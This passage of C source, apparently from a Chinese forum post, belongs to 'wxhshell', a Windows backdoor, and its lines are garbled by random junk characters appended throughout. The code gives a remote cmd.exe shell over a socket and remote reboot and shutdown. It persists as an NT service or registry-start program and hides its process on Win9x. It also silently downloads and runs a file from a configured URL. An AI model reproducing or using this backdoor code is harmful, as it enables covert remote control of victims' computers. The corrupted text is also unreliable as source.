  =otJf~  
  // 帮助 8V?O=3<a  
  case '?': { 3+rud9T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a!vF;J-Zqa  
    break; 6x7pqH M  
  } n]jZ2{g+   
  // 安装 /Ii a>XY  
  case 'i': { N;Wm{~Zhb  
    if(Install()) rjHL06qE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %3!DRz  
    else 2Ck'A0d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e4ym6q<6!  
    break; *DcJ).  
    } LR|LP)I  
  // 卸载 bVaydJ*  
  case 'r': { )OpB\k  
    if(Uninstall()) bS[;d5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  E|P  
    else k` cz$>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hx5t![g2K!  
    break; gTa6%GM>  
    } Z:j6AF3;  
  // 显示 wxhshell 所在路径 ))JbROBU,  
  case 'p': { '[g@A>xDvW  
    char svExeFile[MAX_PATH]; R-5EztmLae  
    strcpy(svExeFile,"\n\r"); K =nW|^  
      strcat(svExeFile,ExeFile); ziPE(B  
        send(wsh,svExeFile,strlen(svExeFile),0); gJz~~g'  
    break; (r78AZ  
    } x=s=~cu4,  
  // 重启 OFH!z{*  
  case 'b': { aAJ'0xnj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); no ).70K  
    if(Boot(REBOOT)) b}s)3=X@q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D; i%J  
    else { XqX6UEVR4  
    closesocket(wsh); "-bsWC  
    ExitThread(0); m$6u K0  
    } T-S6`^_L  
    break; <Wqk5mR  
    } w%Vw*i6o  
  // 关机 MOp06  
  case 'd': { OcWy#,uC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w&VMb&<  
    if(Boot(SHUTDOWN)) <? h`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `q":i>FP2  
    else { 8y:c3jzP_  
    closesocket(wsh); +OM`c7M:  
    ExitThread(0); q3Tp /M.  
    } j6@5"wx  
    break; N3O~_=/v?  
    } n_ORD@$]  
  // 获取shell J)yNp,V  
  case 's': { EkWipF(  
    CmdShell(wsh); GBMCw  
    closesocket(wsh); `*Ar6  
    ExitThread(0); ~Q4 emgBD  
    break; y<#?z 8P  
  } 9'tOF  
  // 退出 q4Z9;^S  
  case 'x': { +T\c<lJ9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BM6 J  
    CloseIt(wsh); BC}+yS \  
    break; I"AgRa  
    } !>olD_  
  // 离开 <Vu/6"DP  
  case 'q': { q].n1w [  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =~7%R.U([e  
    closesocket(wsh); @t W;(8-  
    WSACleanup(); ~k}>CNTr  
    exit(1); #a : W  
    break; \:`'!X1*U  
        } gtizgUS7  
  } Tno[LP,  
  } n4* hQi+d  
*cNqgw#\qL  
  // 提示信息 aDXdr\ C6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _4H}OGZI  
} EKwA1,Xz  
  } c(:qid  
A$w0+&*=  
  return; *&i SW~s  
} OB-2xmZW  
c_oI?D9  
// shell模块句柄 u2p5* gzZ  
int CmdShell(SOCKET sock) =v (MdjwFl  
{ !kzC1U  
STARTUPINFO si; 7.G1Q]6/  
ZeroMemory(&si,sizeof(si)); +W=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ve#*qz Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mQVc ZV  
PROCESS_INFORMATION ProcessInfo; m %mA0r  
char cmdline[]="cmd"; v&.`^ O3W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b7X-mkF  
  return 0; M!KHBr  
} y-Xd~<*Ia  
%j '_I\  
// 自身启动模式 h}vzZZ2,  
int StartFromService(void) jQrj3b.NC3  
{ %TO=]>q  
typedef struct 32DSZ0  
{ caK<;bmu-  
  DWORD ExitStatus; bo;;\>k  
  DWORD PebBaseAddress; l?_h(Cq<  
  DWORD AffinityMask; J2c.J/o  
  DWORD BasePriority; z0XH`H|~  
  ULONG UniqueProcessId; urJ>dw?FI  
  ULONG InheritedFromUniqueProcessId; dr25;L? B  
}   PROCESS_BASIC_INFORMATION; Afpj*o  
zvvF 9  
PROCNTQSIP NtQueryInformationProcess; ]e*Zx;6oi  
QQQ3U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t>W^^'=E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @ y{i.G  
&}TfJ=gj  
  HANDLE             hProcess; [31vx0$_p  
  PROCESS_BASIC_INFORMATION pbi; RoL5uha,l  
kG =nDy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .GJl@==~1  
  if(NULL == hInst ) return 0; r*-e~  
^H0`UKE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nG0Uv%?{pj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &e#>%0aS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M?61g(  
Hh/Z4`&yi  
  if (!NtQueryInformationProcess) return 0; bzz{ p1e  
$_2S,3 }  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /F>\-    
  if(!hProcess) return 0; n?@3+wG  
2u0dn?9\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?q}XD c  
iQrTEp  
  CloseHandle(hProcess); D.e4S6\&  
ZBDEE+8e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vV2px  
if(hProcess==NULL) return 0; /+FZDRf!r  
D$sG1*@s-  
HMODULE hMod; |2yTt*!-r  
char procName[255]; U}c[oA  
unsigned long cbNeeded; P #_8$#G3  
?[[K6v}q{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @J[l^o9  
8vN}v3HV&  
  CloseHandle(hProcess); #MZ0Sd8]&  
0baq696<F  
if(strstr(procName,"services")) return 1; // 以服务启动 -:O~J#D  
!&~8j7{  
  return 0; // 注册表启动 YNGG> ;L  
}  eRlJ  
kg2?IL  
// 主模块 <lk_]+ XJ3  
int StartWxhshell(LPSTR lpCmdLine) .x$!Rc}  
{ >E;&SX  
  SOCKET wsl; -0KQR{LI  
BOOL val=TRUE; l)PEg PSRV  
  int port=0; kNX(@f  
  struct sockaddr_in door; =4RBHe8`  
G$ l>By  
  if(wscfg.ws_autoins) Install(); %cM2;a=2  
Sb&sW?M  
port=atoi(lpCmdLine); S9sFC!s1g  
~I0I#_$'P  
if(port<=0) port=wscfg.ws_port; +C~,q{u  
dXKv"*7l  
  WSADATA data; RvL-SI%E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AHws5#;$6*  
 E%g_O_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NT~L=x sY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .Gq)@{o>  
  door.sin_family = AF_INET; U=<E,tM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PVAs# ~  
  door.sin_port = htons(port); %eoO3"//  
s'LY)_n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~%Y*2i f  
closesocket(wsl); }r&^*" 2=  
return 1; ziuhS4k  
} q9- =>  
r4}:t$  
  if(listen(wsl,2) == INVALID_SOCKET) { y8U|A0@$`  
closesocket(wsl); dZ UB  
return 1; /*Z ,i&eC  
} <Bc J;X/  
  Wxhshell(wsl); XVi?- /2  
  WSACleanup(); tzv&E0 |d  
w < p  
return 0; Rv=(D^F,  
#vhxW=L`=  
} #UH|,>W6  
wi]|"\  
// 以NT服务方式启动 Pms"YhyZ7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H*_:IfI!  
{ [wAI;=.  
DWORD   status = 0; 6 2&E]>A(i  
  DWORD   specificError = 0xfffffff; oDp!^G2A"  
YPAMf&jEF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1F'j .1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; be`\ O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >JVZ@ PV H  
  serviceStatus.dwWin32ExitCode     = 0; ^8dJJ*  
  serviceStatus.dwServiceSpecificExitCode = 0; Oy$*ZG)  
  serviceStatus.dwCheckPoint       = 0; *]%{ttR~  
  serviceStatus.dwWaitHint       = 0; =!_e(J  
^JF6L`Tp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I%(`2 rD8G  
  if (hServiceStatusHandle==0) return; #SQao;>  
=LHE_ AA  
status = GetLastError(); "Ko ^m(`  
  if (status!=NO_ERROR) .63:G<  
{ #_{3W-35*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KFHn)+*"  
    serviceStatus.dwCheckPoint       = 0; <!^wGN$f  
    serviceStatus.dwWaitHint       = 0; oDul ?%  
    serviceStatus.dwWin32ExitCode     = status; MWGW[V;  
    serviceStatus.dwServiceSpecificExitCode = specificError; ppIMaP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); me@4lHBR  
    return; c[@-&o`  
  } G"0YCi#I|  
KumbG>O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  :0ZFbIy  
  serviceStatus.dwCheckPoint       = 0; ]ERPWW;^  
  serviceStatus.dwWaitHint       = 0; siw } }}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]O s!=rt  
} g*Nc+W](P>  
6=2M[T  
// 处理NT服务事件,比如:启动、停止 ,EW-21  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TI:-Y@8  
{ #(-V^ T  
switch(fdwControl) 6sBS;+C  
{ h9c54Ux  
case SERVICE_CONTROL_STOP: EY;C5P4  
  serviceStatus.dwWin32ExitCode = 0; 2'tZ9mK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~p<o":k+Lv  
  serviceStatus.dwCheckPoint   = 0; }X94M7+->  
  serviceStatus.dwWaitHint     = 0; 5+dQGcE@  
  { TYW$=p|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y/rmxQtP  
  } TTpK8cC  
  return; fk,[`n+  
case SERVICE_CONTROL_PAUSE: T(K~be  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y~(#_K  
  break; `s(T (l  
case SERVICE_CONTROL_CONTINUE: P31}O2 Nh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TO.?h!  
  break; U)a}XRS  
case SERVICE_CONTROL_INTERROGATE: <SmXMruU  
  break; 3{ i'8  
}; eZR{M\Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v|`f8M2  
} .%;UP7g  
6j@3C`Yd  
// 标准应用程序主函数 i>i@r ;:|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vs;T}' O  
{ #rM/  
`sOCJ|rc5  
// 获取操作系统版本 W&dYH 4O  
OsIsNt=GetOsVer(); szN`"Yi){  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vBAds  
74hGkf^S  
  // 从命令行安装 ;=>4 '$8  
  if(strpbrk(lpCmdLine,"iI")) Install(); SD paW6(_  
U`sybtuBP'  
  // 下载执行文件 H Yt& MK  
if(wscfg.ws_downexe) { Tq[=&J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E$]7w4,n  
  WinExec(wscfg.ws_filenam,SW_HIDE); %4?  
} Q.Uyl:^PxU  
A$.woE@  
if(!OsIsNt) { 7sZVN  
// 如果时win9x,隐藏进程并且设置为注册表启动 /H&:  
HideProc(); J(F]?H  
StartWxhshell(lpCmdLine); UO$z_ p]w  
} {^ 1s  
else &*iar+vr  
  if(StartFromService()) H^sPC{6+pf  
  // 以服务方式启动 *.4;7#  
  StartServiceCtrlDispatcher(DispatchTable); ycB>gd  
else !4 `any  
  // 普通方式启动 z%5i^P  
  StartWxhshell(lpCmdLine); [4B.;MS(  
MB;< F  
return 0; Z'p7I}-qr  
}
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只看该作者 1 发表于: 2006-10-10
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